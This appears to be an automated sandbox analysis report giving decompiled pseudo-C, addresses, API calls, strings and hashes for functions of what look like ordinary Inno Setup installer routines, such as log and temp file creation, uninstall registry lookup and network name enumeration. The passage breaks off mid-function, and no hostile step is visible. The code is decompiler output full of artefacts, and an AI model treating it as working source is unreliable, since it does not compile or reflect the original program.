0x00406f50
0x00406f56
0x00406f59
0x00406f5e
0x00406f5f
0x00406f64
0x00406f67
0x00406f70
0x00406f7c
0x00406fc7
0x00406fce
0x0040702d
0x00407030
0x0040703f
0x00407044
0x00407045
0x0040704a
0x0040704d
0x00407050
0x00407050
0x00407050
0x0040705a
0x0040706d
0x00407077
0x00000000
0x00000000
0x0040708e
0x004070a2
0x004070a5
0x00000000
0x004070a7
0x004070a7
0x004070a8
0x004070aa
0x004070b2
0x004070b9
0x00000000
0x00000000
0x0040711b
0x0040711c
0x0040711d
0x00000000
0x0040711f
0x00000000
0x0040711f
0x00000000
0x0040711d
0x004070e6
0x004070f1
0x004070fb
0x00407109
0x0040710a
0x0040710f
0x00407114
0x00407114
0x00407090
0x00407090
0x00407095
0x00407095
0x00000000
0x0040708e
0x0040707c
0x00407085
0x00000000
0x00407085
0x00406f7e
0x00406f7e
0x00406fa2
0x00406fb3
0x00406fb3
0x00406fa2
0x00407162
0x00407164
0x00407167
0x0040716a
0x0040717f

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00406F9B
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 00407015
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 0040706D

Strings

Z, xrefs: 00406FD4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: 67a01e040447e774e576e8a665c798b7a07ce193432bdf0c342fe4e3fedfe949
Instruction ID: 5caf70ca5bbd669fd2e2c7b1b3e2dce8d45954f2aeddfa47fa99723591ada552
Opcode Fuzzy Hash: 67a01e040447e774e576e8a665c798b7a07ce193432bdf0c342fe4e3fedfe949
Instruction Fuzzy Hash: 70514170E04209AFDB11DF65C981A9FB7B9FB49304F1045BAE540BB3D1C778AE418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042E79C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0042E79C(void* __eax, void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				struct HDC__* _v12;
				char _v16;
				char _v20;
				char _v24;
				struct HDC__* _t54;
				void* _t63;
				intOrPtr _t81;
				void* _t84;
				void* _t86;
				void* _t87;
				intOrPtr _t89;
				intOrPtr _t90;

				_t67 = __ecx;
				_t89 = _t90;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t84 = __ecx;
				_v8 = __edx;
				_t86 = __eax;
				_t66 = _a4;
				_push(_t89);
				_push(0x42e8ef);
				_push( *[fs:eax]);
				 *[fs:eax] = _t90;
				_push(0);
				L00405F1C();
				_v12 = 0;
				_push(_t89);
				_push(0x42e8cd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t90;
				SelectObject(_v12, E0041A1CC(_v8, _a4, __ecx, __ecx, __eax));
				E004034AC(_a4, _t86);
				E0042C888( *_t66, _t67,  &_v20);
				E0042C860( *_t66, _t67,  &_v24);
				_t87 = E0042C5F0();
				if(_t87 < E0040358C(_v20)) {
					_t63 =  *((intOrPtr*)(_v20 + _t87)) - 0x2f;
					if(_t63 == 0 || _t63 == 0x2d) {
						_t87 = _t87 + 1;
					}
				}
				E00403790(_v20, _t87, 1,  &_v16);
				E004037D0( &_v20, _t87, 1);
				while(_v20 != 0 || _v16 != 0) {
					if(_t84 < E0042E43C(_v12, _t66, 0,  *_t66, _t84, _t87)) {
						if(_v20 != 0) {
							E0042E6E8( &_v20, _t66, _t84, _t87);
						}
						if(_v20 == 0 && _v16 != 0) {
							E00403418( &_v16);
							E004034AC( &_v20, 0x42e908);
						}
						_push(_v16);
						_push(_v20);
						_push(_v24);
						E0040364C();
						continue;
					}
					break;
				}
				_pop(_t81);
				 *[fs:eax] = _t81;
				_push(0x42e8d4);
				_t54 = _v12;
				_push(_t54);
				_push(0);
				L00406104();
				return _t54;
			}

0x0042e79c
0x0042e79d
0x0042e79f
0x0042e7a1
0x0042e7a3
0x0042e7a5
0x0042e7a7
0x0042e7a9
0x0042e7aa
0x0042e7ab
0x0042e7ac
0x0042e7ae
0x0042e7b1
0x0042e7b3
0x0042e7b8
0x0042e7b9
0x0042e7be
0x0042e7c1
0x0042e7c4
0x0042e7c6
0x0042e7cb
0x0042e7d0
0x0042e7d1
0x0042e7d6
0x0042e7d9
0x0042e7e9
0x0042e7f2
0x0042e7fc
0x0042e806
0x0042e813
0x0042e81f
0x0042e827
0x0042e829
0x0042e82f
0x0042e82f
0x0042e829
0x0042e83e
0x0042e84d
0x0042e898
0x0042e8b2
0x0042e858
0x0042e85d
0x0042e85d
0x0042e866
0x0042e871
0x0042e87e
0x0042e87e
0x0042e883
0x0042e886
0x0042e889
0x0042e893
0x00000000
0x0042e893
0x00000000
0x0042e8b2
0x0042e8b6
0x0042e8b9
0x0042e8bc
0x0042e8c1
0x0042e8c4
0x0042e8c5
0x0042e8c7
0x0042e8cc

APIs

73AFAC50.USER32(00000000,00000000,0042E8EF,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042E7C6

Part of subcall function 0041A1CC: CreateFontIndirectA.GDI32(?), ref: 0041A28B

SelectObject.GDI32(?,00000000), ref: 0042E7E9
73AFB380.USER32(00000000,?,0042E8D4,00000000,0042E8CD,?,00000000,00000000,0042E8EF,?,?,?,?,00000000,00000000,00000000), ref: 0042E8C7

Strings

...\, xrefs: 0042E879

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B380CreateFontIndirectObjectSelect
String ID: ...\
API String ID: 1304862298-983595016
Opcode ID: 74336d573a74e3698fb3570375686f73f17764e844b15c5fb6835e350ec9c933
Instruction ID: aa7e33738bf35b786d25299c783c6e6fcf8cad152cb713b23b6674a7a4078742
Opcode Fuzzy Hash: 74336d573a74e3698fb3570375686f73f17764e844b15c5fb6835e350ec9c933
Instruction Fuzzy Hash: F6314F70B00129ABDF11EB9AD881BAEB7B8EF48304F90447BF400A7291D7789E41CA59

Uniqueness

Uniqueness Score: -1.00%

Function 00455120 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105
timeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00455120(signed int __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				char _v72;
				intOrPtr _t88;
				intOrPtr _t95;
				void* _t99;
				void* _t100;
				intOrPtr _t101;

				_t97 = __esi;
				_t96 = __edi;
				_t77 = __ebx;
				_t99 = _t100;
				_t101 = _t100 + 0xffffffbc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v72 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				_v8 = __eax;
				_push(_t99);
				_push(0x45528d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t101;
				_t102 =  *0x48ff00;
				if( *0x48ff00 == 0) {
					E0042D830( &_v12, __ebx, __ecx, __edi, __esi);
					GetLocalTime( &_v44);
					_v68 = _v44.wYear & 0x0000ffff;
					_v64 = 0;
					_v60 = _v44.wMonth & 0x0000ffff;
					_v56 = 0;
					_v52 = _v44.wDay & 0x0000ffff;
					_v48 = 0;
					E0040788C("%.4u-%.2u-%.2u", 2,  &_v68,  &_v16);
					_v24 = 1;
					while(1) {
						_v68 = _v8;
						_v64 = 0xb;
						_v60 = _v16;
						_v56 = 0xb;
						_v52 = _v24;
						_v48 = 0;
						E0040788C("%s Log %s #%.3u.txt", 2,  &_v68,  &_v72);
						E004035D8( &_v20, _v72, _v12);
						if(E0042CC7C(_v20, _t102) != 0) {
							goto L6;
						}
						_v28 = 0;
						_push(_t99);
						_push(0x455227);
						_push( *[fs:edx]);
						 *[fs:edx] = _t101;
						_v28 = E0044F788(1, 1, 1, 1);
						_pop(_t95);
						 *[fs:eax] = _t95;
						if(_v28 == 0) {
							goto L6;
						}
						 *0x48ff00 = _v28;
						E00455348("Log opened.", _t77, _t96, _t97);
						goto L8;
						L6:
						_v24 = _v24 + 1;
					}
				}
				L8:
				_pop(_t88);
				 *[fs:eax] = _t88;
				_push(E00455294);
				E00403418( &_v72);
				return E00403438( &_v20, 3);
			}

0x00455120
0x00455120
0x00455120
0x00455121
0x00455123
0x00455126
0x00455127
0x00455128
0x0045512b
0x0045512e
0x00455131
0x00455134
0x00455137
0x0045513c
0x0045513d
0x00455142
0x00455145
0x00455148
0x0045514f
0x00455158
0x00455161
0x0045516e
0x00455171
0x00455179
0x0045517c
0x00455184
0x00455187
0x00455198
0x0045519d
0x004551a4
0x004551ab
0x004551ae
0x004551b5
0x004551b8
0x004551bf
0x004551c2
0x004551d3
0x004551e1
0x004551f0
0x00000000
0x00000000
0x004551f4
0x004551f9
0x004551fa
0x004551ff
0x00455202
0x0045521a
0x0045521f
0x00455222
0x0045524c
0x00000000
0x00000000
0x00455251
0x00455265
0x00000000
0x00455258
0x00455258
0x00455258
0x004551a4
0x0045526a
0x0045526c
0x0045526f
0x00455272
0x0045527a
0x0045528c

APIs

GetLocalTime.KERNEL32(?,00000000,0045528D,?,?,00000000,00000000,0048DDCF,00000000), ref: 00455161

Strings

Log opened., xrefs: 00455260
%.4u-%.2u-%.2u, xrefs: 00455193
%s Log %s #%.3u.txt, xrefs: 004551CE

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: LocalTime
String ID: %.4u-%.2u-%.2u$%s Log %s #%.3u.txt$Log opened.
API String ID: 481472006-3806465849
Opcode ID: 3a986ec1deacf9a8af90cccb36a694523831aa442be5d47b885d18f483d23920
Instruction ID: 65e3167ce6f7fc665200a2cb316b898927ffde9a8a765fe92d3812842a2b7bb4
Opcode Fuzzy Hash: 3a986ec1deacf9a8af90cccb36a694523831aa442be5d47b885d18f483d23920
Instruction Fuzzy Hash: 3F412870D04648AFDB00DFA5D8917EEBBF5EB49305F60806AF804B7282E7785A49CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00451C2C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00451C2C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v13;
				signed int _v20;
				char _v24;
				char _v28;
				void* _t62;
				signed int _t65;
				intOrPtr _t79;
				void* _t84;
				void* _t87;

				_t66 = 0;
				_v24 = 0;
				_v28 = 0;
				_v20 = 0;
				_v12 = __edx;
				_v8 = __eax;
				E00403740(_v8);
				_push(_t87);
				_push(0x451d66);
				_push( *[fs:eax]);
				 *[fs:eax] = _t87 + 0xffffffe8;
				E0042C3E0(_v8,  &_v24);
				E004034AC( &_v8, _v24);
				_t84 = 0x123456;
				_t65 = 0;
				_v13 = 0;
				do {
					_t84 = _t84 + 1;
					if(_t84 > 0x1ffffff) {
						_t84 = 0;
					}
					_t92 = 0x123456 - _t84;
					if(0x123456 == _t84) {
						E0042CAE0(_v8, _t66,  &_v28, _t92);
						E004503A4(0x45,  &_v24, _v28);
						_t66 = _v24;
						E00408BA4(_v24, 1);
						E00403134();
					}
					_push(_v8);
					_push("_iu");
					E00451AAC(_t84, _t65,  &_v24, 0x123456, _t84);
					_push(_v24);
					_push(".tmp");
					E0040364C();
					if(E0042CC68(_t92) == 0) {
						_t65 = 1;
						_v13 = E0042CC44(_v20);
						if(_v13 != 0) {
							_t62 = CreateFileA(E00403750(_v20), 0xc0000000, 0, 0, 2, 0x80, 0);
							_t65 = 0 | _t62 != 0xffffffff;
							if(1 != 0) {
								CloseHandle(_t62);
							}
						}
					}
				} while (_t65 == 0);
				E00403468(_v12, _t65, _v20, 0x123456, _t84);
				_pop(_t79);
				 *[fs:eax] = _t79;
				_push(E00451D6D);
				E00403438( &_v28, 3);
				return E00403418( &_v8);
			}

0x00451c35
0x00451c37
0x00451c3a
0x00451c3d
0x00451c40
0x00451c43
0x00451c49
0x00451c50
0x00451c51
0x00451c56
0x00451c59
0x00451c62
0x00451c6d
0x00451c77
0x00451c79
0x00451c7b
0x00451c7f
0x00451c7f
0x00451c86
0x00451c88
0x00451c88
0x00451c8a
0x00451c8c
0x00451c94
0x00451ca1
0x00451ca6
0x00451cb0
0x00451cb5
0x00451cb5
0x00451cba
0x00451cbd
0x00451cc7
0x00451ccc
0x00451ccf
0x00451cdc
0x00451ceb
0x00451ced
0x00451cf7
0x00451cfe
0x00451d1b
0x00451d23
0x00451d28
0x00451d2b
0x00451d2b
0x00451d28
0x00451cfe
0x00451d30
0x00451d3e
0x00451d45
0x00451d48
0x00451d4b
0x00451d58
0x00451d65

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,0048C28D,_iu,?,00000000,00451D66), ref: 00451D1B
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,0048C28D,_iu,?,00000000,00451D66), ref: 00451D2B

Strings

.tmp, xrefs: 00451CCF
_iu, xrefs: 00451CBD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu
API String ID: 3498533004-10593223
Opcode ID: 3a7a73588ec1aaa493655490a69d1f61851786d5f18a36f3bad738192360797e
Instruction ID: 66189d9121b5f6debfe8db516a2db4e956e41d4f88176e9b7dd5da347c02f09b
Opcode Fuzzy Hash: 3a7a73588ec1aaa493655490a69d1f61851786d5f18a36f3bad738192360797e
Instruction Fuzzy Hash: B6318570A00119ABDB11EFA5C982B9EB7B5AF44305F60456AF800B73D2D7786F09D7AC

Uniqueness

Uniqueness Score: -1.00%

Function 0048840C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0048840C(void* __eax, void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char* _v36;
				void* _t38;
				intOrPtr _t39;
				void* _t55;
				intOrPtr* _t56;
				intOrPtr _t67;
				intOrPtr _t75;
				void* _t80;
				void* _t82;
				void* _t83;
				intOrPtr _t84;

				_t57 = __ecx;
				_t82 = _t83;
				_t84 = _t83 + 0xffffffe0;
				_v20 = 0;
				_v16 = 0;
				_v8 = __edx;
				_t55 = __eax;
				_push(_t82);
				_push(0x488525);
				_push( *[fs:eax]);
				 *[fs:eax] = _t84;
				E004034AC(_a4, __ecx);
				if(_t55 == 0) {
					L5:
					_pop(_t67);
					 *[fs:eax] = _t67;
					_push(0x48852c);
					return E00403438( &_v20, 2);
				} else {
					E004708C4(_t55, _t57,  &_v16);
					_t80 = 2;
					_t56 = 0x48ef44;
					while(1) {
						_v36 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
						_v32 = 0xb;
						_v28 = _v16;
						_v24 = 0xb;
						E0040788C("%s\\%s_is1", 1,  &_v36,  &_v20);
						_t38 = E00403750(_v20);
						_t39 =  *0x48eb48; // 0x1
						if(E0042DC1C(_t39, _t38,  *_t56,  &_v12, 1, 0) == 0) {
							break;
						}
						_t56 = _t56 + 4;
						_t80 = _t80 - 1;
						if(_t80 != 0) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_push(_t82);
					_push(0x4884f9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t84;
					E004034AC( &_v20, "Inno Setup CodeFile: ");
					E00403594( &_v20, _v8);
					E00403750(_v20);
					E0042DB4C();
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(0x48850a);
					return RegCloseKey(_v12);
				}
				L6:
			}

0x0048840c
0x0048840d
0x0048840f
0x00488417
0x0048841a
0x0048841f
0x00488422
0x00488429
0x0048842a
0x0048842f
0x00488432
0x00488439
0x00488440
0x0048850a
0x0048850c
0x0048850f
0x00488512
0x00488524
0x00488446
0x0048844b
0x00488450
0x00488455
0x0048845a
0x0048846b
0x0048846e
0x00488475
0x00488478
0x00488489
0x00488491
0x0048849a
0x004884a6
0x00000000
0x00000000
0x00488500
0x00488503
0x00488504
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00488504
0x004884aa
0x004884ab
0x004884b0
0x004884b3
0x004884be
0x004884c9
0x004884d1
0x004884dd
0x004884e4
0x004884e7
0x004884ea
0x004884f8
0x004884f8
0x00000000

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegCloseKey.ADVAPI32(?,0048850A,?,?,00000001,00000000,00000000,00488525), ref: 004884F3

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00488466
Inno Setup CodeFile: , xrefs: 004884B6
%s\%s_is1, xrefs: 00488484

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup CodeFile: $Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1837835967
Opcode ID: 62435fd8610d23cf96015e51cbfdcde2eb3296c626539face596322b35ce2ef4
Instruction ID: f99006221241de176dd8a0cb1e84c1df124de6a646b4e4928a51123b4443cf72
Opcode Fuzzy Hash: 62435fd8610d23cf96015e51cbfdcde2eb3296c626539face596322b35ce2ef4
Instruction Fuzzy Hash: 25319774A00214AFDB01EFA6CC5169EBBF8EB48704F90487EE904E7381DB7CAD018B59

Uniqueness

Uniqueness Score: -1.00%

Function 0048CFEC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0048CFEC(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				intOrPtr _v28;
				intOrPtr _t22;
				intOrPtr _t24;
				intOrPtr _t47;
				intOrPtr _t52;
				intOrPtr _t56;
				intOrPtr _t76;
				void* _t82;
				void* _t83;
				void* _t84;
				intOrPtr _t85;
				void* _t86;

				_t86 = __eflags;
				_t81 = __esi;
				_t80 = __edi;
				_t58 = __ebx;
				_t83 = _t84;
				_t85 = _t84 + 0xffffffe8;
				_v20 = 0;
				 *[fs:eax] = _t85;
				_t22 =  *0x48f628; // 0x22f2410
				E004242A8(_t22, "Uninstall", __edi);
				_t24 =  *0x48f628; // 0x22f2410
				ShowWindow( *(_t24 + 0x20), 5);
				 *[fs:eax] = _t85;
				E00475EE8();
				E0042D780( &_v20);
				E00407240(_v20);
				E0042D308(0, __ebx,  &_v20, __edi, __esi);
				E00403468(0x490310, __ebx, _v20, _t80, __esi);
				E0048BCAC(_t58, _v20, _t80, _t81, _t86);
				_v8 = E0044F788(1, 1, 0, 2);
				 *[fs:eax] = _t85;
				 *((intOrPtr*)( *_v8 + 4))( *[fs:eax], 0x48d115, _t83,  *[fs:eax], 0x48d1e7, _t83,  *[fs:eax], 0x48d21b, _t83, __edi, __esi, __ebx, _t82);
				E0044F74C(_v8, _v28 - 8);
				E0044F724(_v8, 8,  &_v16);
				_t87 = _v16 - 0x67734d49;
				if(_v16 == 0x67734d49) {
					_t47 =  *0x490310; // 0x0
					E004504F8(_t47, _t58, 1, _v12, _t80, _t81);
				} else {
					_t52 =  *0x490310; // 0x0
					E0042C484(_t52, _t58,  &_v20, 0x48d248, _t80, _t81, _t87);
					E00403468(0x490318, _t58, _v20, _t80, _t81);
					_t56 =  *0x490318; // 0x0
					E004504F8(_t56, _t58, 1, 0, _t80, _t81);
				}
				_pop(_t76);
				 *[fs:eax] = _t76;
				_push(E0048D11C);
				return E00402B70(_v8);
			}

0x0048cfec
0x0048cfec
0x0048cfec
0x0048cfec
0x0048cfed
0x0048cfef
0x0048cff7
0x0048d005
0x0048d00d
0x0048d012
0x0048d019
0x0048d022
0x0048d032
0x0048d035
0x0048d03d
0x0048d045
0x0048d04f
0x0048d05c
0x0048d061
0x0048d07e
0x0048d08c
0x0048d097
0x0048d0a3
0x0048d0b3
0x0048d0b8
0x0048d0bf
0x0048d0f5
0x0048d0fa
0x0048d0c1
0x0048d0c9
0x0048d0ce
0x0048d0db
0x0048d0e4
0x0048d0e9
0x0048d0e9
0x0048d101
0x0048d104
0x0048d107
0x0048d114

APIs

Part of subcall function 004242A8: SetWindowTextA.USER32(?,00000000), ref: 004242C0

ShowWindow.USER32(?,00000005,00000000,0048D21B,?,?,00000000), ref: 0048D022

Part of subcall function 0042D780: GetSystemDirectoryA.KERNEL32 ref: 0042D793

Part of subcall function 00407240: SetCurrentDirectoryA.KERNEL32(00000000,?,0048D04A,00000000,0048D1E7,?,?,00000005,00000000,0048D21B,?,?,00000000), ref: 0040724B

Part of subcall function 0042D308: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D393,?,?,00000000,?,?,0048D054,00000000,0048D1E7,?,?,00000005), ref: 0042D33D

Strings

IMsg, xrefs: 0048D0B8
Uninstall, xrefs: 0048D008
.msg, xrefs: 0048D0C4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .msg$IMsg$Uninstall
API String ID: 3312786188-3145681768
Opcode ID: c6fc050964668c24315b5edebddef9c6936d2556108823abffd3957cd068de15
Instruction ID: c6641748e2ca678123da94d9d17bcca202b605359f7ea2f0cb6afc5440a23085
Opcode Fuzzy Hash: c6fc050964668c24315b5edebddef9c6936d2556108823abffd3957cd068de15
Instruction Fuzzy Hash: E9318234A10204AFDB00FFA5CC52D5E7BB5FB49304F51897AF800AB392DA78AD05CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004163F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89
registryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004163F4(intOrPtr* __eax, void* __edi, void* __esi, void* __ebp) {
				char _v8;
				char _v12;
				struct _WNDCLASSA _v52;
				char _v116;
				struct _WNDCLASSA _v156;
				intOrPtr _v164;
				signed char _v185;
				void* __ebx;
				struct HINSTANCE__* _t32;
				signed int _t33;
				signed int _t35;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t55;
				intOrPtr* _t62;

				_t76 = __esi;
				_t75 = __edi;
				_t62 = __eax;
				 *((intOrPtr*)( *__eax + 0x5c))();
				if(_v164 == 0 && (_v185 & 0x00000040) != 0) {
					_v12 =  *((intOrPtr*)(__eax + 8));
					_v8 = 0xb;
					E00408CC4(__eax, 0xf02f, 1, __edi, __esi, 0,  &_v12);
					E00403134();
				}
				 *((intOrPtr*)(_t62 + 0xac)) = _v156.lpfnWndProc;
				_t32 =  *0x48f014; // 0x400000
				_t33 = GetClassInfoA(_t32,  &_v116,  &_v52);
				asm("sbb eax, eax");
				_t35 =  ~( ~_t33);
				if(_t35 == 0 || E00413620 != _v52.lpfnWndProc) {
					if(_t35 != 0) {
						_t55 =  *0x48f014; // 0x400000
						UnregisterClassA( &_v116, _t55);
					}
					_v156.lpfnWndProc = E00413620;
					_t36 =  *0x48f014; // 0x400000
					_v156.hInstance = _t36;
					_v156.lpszClassName =  &_v116;
					if(RegisterClassA( &_v156) == 0) {
						E00408C54(_t62, 0xf02c, 1, _t75, _t76);
						E00403134();
					}
				}
				 *0x48e2d8 = _t62;
				_t64 =  *_t62;
				 *((intOrPtr*)( *_t62 + 0x60))();
				if( *((intOrPtr*)(_t62 + 0xc0)) == 0) {
					_t64 = 0xf02d;
					E00408C54(_t62, 0xf02d, 1, _t75, _t76);
					E00403134();
				}
				E004074DC( *((intOrPtr*)(_t62 + 0x40)));
				 *((intOrPtr*)(_t62 + 0x40)) = 0;
				E00418368(_t62);
				return E00415224(_t62, E0041A1CC( *((intOrPtr*)(_t62 + 0x44)), _t62, _t64, _t75, _t76), 0x30, 1);
			}

0x004163f4
0x004163f4
0x004163fb
0x00416403
0x0041640b
0x00416417
0x0041641e
0x0041643c
0x00416441
0x00416441
0x0041644a
0x0041645d
0x00416463
0x0041646a
0x0041646c
0x00416470
0x00416482
0x00416484
0x0041648f
0x0041648f
0x00416494
0x0041649c
0x004164a1
0x004164a9
0x004164ba
0x004164c8
0x004164cd
0x004164cd
0x004164ba
0x004164d2
0x004164dc
0x004164de
0x004164e8
0x004164ea
0x004164f6
0x004164fb
0x004164fb
0x00416503
0x0041650a
0x0041650f
0x00416533

APIs

GetClassInfoA.USER32 ref: 00416463
UnregisterClassA.USER32 ref: 0041648F
RegisterClassA.USER32 ref: 004164B2

Strings

@, xrefs: 0041640D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: eccff8e9b6690a0f3a6d7f668f3ad07a70e1c9d32d3681265f669a639a811b70
Instruction ID: 96fe5100f918c2d7f7d0408739941949d78fb7343742cde4a8304e61d215b847
Opcode Fuzzy Hash: eccff8e9b6690a0f3a6d7f668f3ad07a70e1c9d32d3681265f669a639a811b70
Instruction Fuzzy Hash: 07316D706043409BD720EF69C98179B77E5AB45308F00487EF985CB392DB39D984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0044F374 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0044F374(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr _t27;
				intOrPtr _t31;
				long _t32;
				char* _t46;
				void* _t53;
				intOrPtr _t60;
				void* _t73;

				_v16 = 0;
				_t53 = __eax;
				_push(_t73);
				_push(0x44f466);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73 + 0xffffffe8;
				_t27 =  *((intOrPtr*)(__edx + 8));
				if( *((intOrPtr*)(_t27 + 8)) == 0x70b &&  *((intOrPtr*)(_t27 + 0xc)) == 0x202) {
					_v12 =  *((intOrPtr*)(_t27 + 0x18));
					_v8 =  *((intOrPtr*)(_t27 + 0x1c));
					_t31 = _v12;
